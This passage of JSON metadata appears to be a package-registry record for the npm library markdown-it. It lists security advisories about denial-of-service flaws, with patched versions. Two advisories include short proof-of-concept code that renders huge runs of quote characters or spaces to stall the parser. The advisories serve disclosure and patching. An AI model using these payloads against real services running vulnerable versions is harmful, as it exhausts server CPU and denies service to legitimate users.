DoS in smartquotes rule via replaceAt string operations","description":"### Summary\n\nA quadratic time complexity vulnerability exists in markdown-it's smartquotes rule (enabled via the `typographer: true` option). An attacker can craft a markdown input consisting of consecutive quotation marks that causes the parser to consume excessive CPU time, leading to denial of service.\n\n### Details\n\nThe vulnerability is in the `replaceAt()` helper function used by the smartquotes rule in `lib/rules_core/smartquotes.mjs`:\n\n```javascript\nfunction replaceAt (str, index, ch) {\n  return str.slice(0, index) + ch + str.slice(index + 1)\n}\n```\n\nWhen markdown-it processes a text token containing many quotation marks (either `\"` or `'`) with `typographer: true`, the smartquotes rule iterates through each quote character and calls `replaceAt()` to substitute it with a typographic (curly) quote. Each call to `replaceAt()` creates three new string slices and concatenates them, which is an O(n) operation where n is the length of the string.\n\nSince this is called once per quote character in the token, and there are n quote characters, the total time complexity becomes O(n^2).\n\nThe root cause is that the smartquotes rule modifies `token.content` in place using string slicing rather than building the result incrementally. The `process_inlines()` function (line 14) processes each quote in the text token, and for matching quote pairs, calls `replaceAt()` on both the opening and closing token's content (lines 151-152). When the entire input is a single text token of quote characters, this results in quadratic behavior.\n\n### PoC\n\n```javascript\nconst md = require('markdown-it');\nconst instance = md({ typographer: true });\n\n// 160,000 consecutive double-quote characters\nconst payload = '\"'.repeat(160000);\n\nconsole.time('render');\ninstance.render(payload);\nconsole.timeEnd('render');\n// Output: render: ~21000ms (21 seconds)\n\n// Compare with typographer disabled:\nconst safe = md({ typographer: false });\nconsole.time('render-safe');\nsafe.render(payload);\nconsole.timeEnd('render-safe');\n// Output: render-safe: ~8ms\n```\n\nMeasured timing on a modern system:\n- 10,000 quotes: ~19ms\n- 20,000 quotes: ~51ms\n- 40,000 quotes: ~212ms\n- 80,000 quotes: ~5,430ms\n- 160,000 quotes: ~21,198ms\n\nThe scaling is clearly superlinear (quadratic), with the 80K-\u003e160K step showing a ~3.9x increase for a 2x input increase, consistent with O(n^2).\n\n### Impact\n\nApplications that render user-supplied markdown with `typographer: true` are vulnerable to denial of service. An attacker can submit a relatively small payload (160KB of quote characters) that causes the server to spend over 21 seconds processing a single request. Repeated submissions can exhaust server CPU resources and prevent legitimate users from being served.\n\nThe impact is mitigated by the fact that the `typographer` option defaults to `false` and must be explicitly enabled. However, the typographer feature is commonly enabled in production applications that want smart typography, and the markdown-it documentation prominently suggests enabling it.\n\nA suggested fix would be to replace the `replaceAt()` approach with an array-based or StringBuilder-style approach that collects all replacements and applies them in a single pass, reducing the time complexity to O(n).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-06-15T20:41:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/markdown-it/markdown-it/security/advisories/GHSA-6v5v-wf23-fmfq","https://github.com/advisories/GHSA-6v5v-wf23-fmfq"],"source_kind":"github","identifiers":["GHSA-6v5v-wf23-fmfq","CVE-2026-48988"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-15T21:00:08.604Z","updated_at":"2026-10-26T21:02:58.677Z","epss_percentage":0.00379,"epss_percentile":0.31565,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02djV2LXdmMjMtZm1mcc4ABYsa","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02djV2LXdmMjMtZm1mcc4ABYsa","packages":[{"ecosystem":"npm","package_name":"markdown-it","versions":[{"first_patched_version":"14.2.0","vulnerable_version_range":"\u003c= 14.1.1"}],"purl":"pkg:npm/markdown-it"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02djV2LXdmMjMtZm1mcc4ABYsa/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zOGM0LXI1OXYtM3Zxd84ABSSA","url":"https://github.com/advisories/GHSA-38c4-r59v-3vqw","title":"markdown-it is has a Regular Expression Denial of Service (ReDoS)","description":"Versions of the package markdown-it from 13.0.0 and before 14.1.1 are vulnerable to Regular Expression Denial of Service (ReDoS) due to the use of the regex /\\*+$/ in the linkify function. An attacker can supply a long sequence of * characters followed by a non-matching character, which triggers excessive backtracking and may lead to a denial-of-service condition.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-02-12T06:30:13.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.5,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:P","references":["https://nvd.nist.gov/vuln/detail/CVE-2026-2327","https://github.com/markdown-it/markdown-it/commit/4b4bbcae5e0990a5b172378e507b33a59012ed26","https://gist.github.com/ltduc147/c9abecae1b291ede4f692f2ab988c917","https://security.snyk.io/vuln/SNYK-JS-MARKDOWNIT-10666750","https://github.com/markdown-it/markdown-it/blob/14.1.0/lib/rules_inline/linkify.mjs#L33","https://github.com/advisories/GHSA-38c4-r59v-3vqw"],"source_kind":"github","identifiers":["GHSA-38c4-r59v-3vqw","CVE-2026-2327"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-13T21:00:07.454Z","updated_at":"2026-10-18T11:13:19.951Z","epss_percentage":0.00739,"epss_percentile":0.53535,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOGM0LXI1OXYtM3Zxd84ABSSA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zOGM0LXI1OXYtM3Zxd84ABSSA","packages":[{"ecosystem":"npm","package_name":"markdown-it","versions":[{"first_patched_version":"14.1.1","vulnerable_version_range":"\u003e= 13.0.0, \u003c 14.1.1"}],"purl":"pkg:npm/markdown-it"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zOGM0LXI1OXYtM3Zxd84ABSSA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qNXA3LWpmNHEtNzQycc4AAwnP","url":"https://github.com/advisories/GHSA-j5p7-jf4q-742q","title":"markdown-it vulnerable to Inefficient Regular Expression Complexity","description":"A vulnerability was found in markdown-it up to 2.x. It has been classified as problematic. Affected is an unknown function of the file `lib/common/html_re.js`. The manipulation leads to inefficient regular expression complexity. Upgrading to version 3.0.0 is able to address this issue. The name of the patch is 89c8620157d6e38f9872811620d25138fc9d1b0d. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-216852.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-12-27T09:30:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2015-10005","https://github.com/markdown-it/markdown-it/commit/89c8620157d6e38f9872811620d25138fc9d1b0d","https://github.com/markdown-it/markdown-it/releases/tag/3.0.0","https://vuldb.com/?ctiid.216852","https://vuldb.com/?id.216852","https://github.com/advisories/GHSA-j5p7-jf4q-742q"],"source_kind":"github","identifiers":["GHSA-j5p7-jf4q-742q","CVE-2015-10005"],"repository_url":"https://github.com/markdown-it/markdown-it","blast_radius":0.0,"created_at":"2022-12-30T17:09:53.461Z","updated_at":"2026-10-18T11:29:37.271Z","epss_percentage":0.00989,"epss_percentile":0.61528,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNXA3LWpmNHEtNzQycc4AAwnP","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qNXA3LWpmNHEtNzQycc4AAwnP","packages":[{"ecosystem":"npm","package_name":"markdown-it","versions":[{"first_patched_version":"3.0.0","vulnerable_version_range":"\u003c 3.0.0"}],"purl":"pkg:npm/markdown-it"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qNXA3LWpmNHEtNzQycc4AAwnP/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02dmZjLXF2M2YtdnI2Y80hTA","url":"https://github.com/advisories/GHSA-6vfc-qv3f-vr6c","title":"Uncontrolled Resource Consumption in markdown-it","description":"### Impact\n\nSpecial patterns with length \u003e 50K chars can slow down parser significantly.\n\n```js\nconst md = require('markdown-it')();\n\nmd.render(`x ${' '.repeat(150000)} x  \\nx`);\n```\n\n\n### Patches\n\nUpgrade to v12.3.2+\n\n### Workarounds\n\nNo.\n\n### References\n\nFix + test sample: https://github.com/markdown-it/markdown-it/commit/ffc49ab46b5b751cd2be0aabb146f2ef84986101\n","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2022-01-12T22:20:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":5.3,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L","references":["https://github.com/markdown-it/markdown-it/security/advisories/GHSA-6vfc-qv3f-vr6c","https://github.com/markdown-it/markdown-it/commit/ffc49ab46b5b751cd2be0aabb146f2ef84986101","https://nvd.nist.gov/vuln/detail/CVE-2022-21670","https://github.com/advisories/GHSA-6vfc-qv3f-vr6c"],"source_kind":"github","identifiers":["GHSA-6vfc-qv3f-vr6c","CVE-2022-21670"],"repository_url":"https://github.com/markdown-it/markdown-it","blast_radius":0.0,"created_at":"2022-12-21T16:12:38.618Z","updated_at":"2026-10-18T20:26:05.503Z","epss_percentage":0.02282,"epss_percentile":0.82566,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dmZjLXF2M2YtdnI2Y80hTA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02dmZjLXF2M2YtdnI2Y80hTA","packages":[{"ecosystem":"npm","package_name":"markdown-it","versions":[{"first_patched_version":"12.3.2","vulnerable_version_range":"\u003c 12.3.2"}],"purl":"pkg:npm/markdown-it"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02dmZjLXF2M2YtdnI2Y80hTA/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/markdown-it","docker_dependents_count":3521,"docker_downloads_count":3113061388,"usage_url":"https://repos.ecosyste.ms/usage/npm/markdown-it","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/markdown-it/dependencies","status":null,"funding_links":["https://github.com/sponsors/puzrin","https://github.com/sponsors/markdown-it"],"critical":true,"issue_metadata":{"last_synced_at":"2026-10-24T01:20:39.099Z","issues_count":948,"pull_requests_count":268,"avg_time_to_close_issue":3298949.807073955,"avg_time_to_close_pull_request":5169911.221343873,"issues_closed_count":933,"pull_requests_closed_count":253,"pull_request_authors_count":174,"issue_authors_count":704,"avg_comments_per_issue":3.068565400843882,"avg_comments_per_pull_request":1.9365671641791045,"merged_pull_requests_count":107,"bot_issues_count":0,"bot_pull_requests_count":22,"past_year_issues_count":32,"past_year_pull_requests_count":57,"past_year_avg_time_to_close_issue":4183528.035714286,"past_year_avg_time_to_close_pull_request":1324328.875,"past_year_issues_closed_count":28,"past_year_pull_requests_closed_count":56,"past_year_pull_request_authors_count":32,"past_year_issue_authors_count":27,"past_year_avg_comments_per_issue":2.5,"past_year_avg_comments_per_pull_request":0.9298245614035088,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":11,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/markdown-it%2Fmarkdown-it/issues","maintainers":[{"login":"puzrin","count":27,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/puzrin"},{"login":"rlidwka","count":4,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/rlidwka"}],"active_maintainers":[{"login":"puzrin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/puzrin"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/markdown-it/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/markdown-it/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/markdown-it/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/markdown-it/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/markdown-it/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/markdown-it/codemeta","maintainers":[{"uuid":"vitaly","login":"vitaly","name":null,"email":"vitaly@rcopen.com","url":null,"packages_count":64,"html_url":"https://www.npmjs.com/~vitaly","role":null,"created_at":"2022-11-10T11:23:03.567Z","updated_at":"2022-11-10T11:23:03.567Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/vitaly/packages"}]}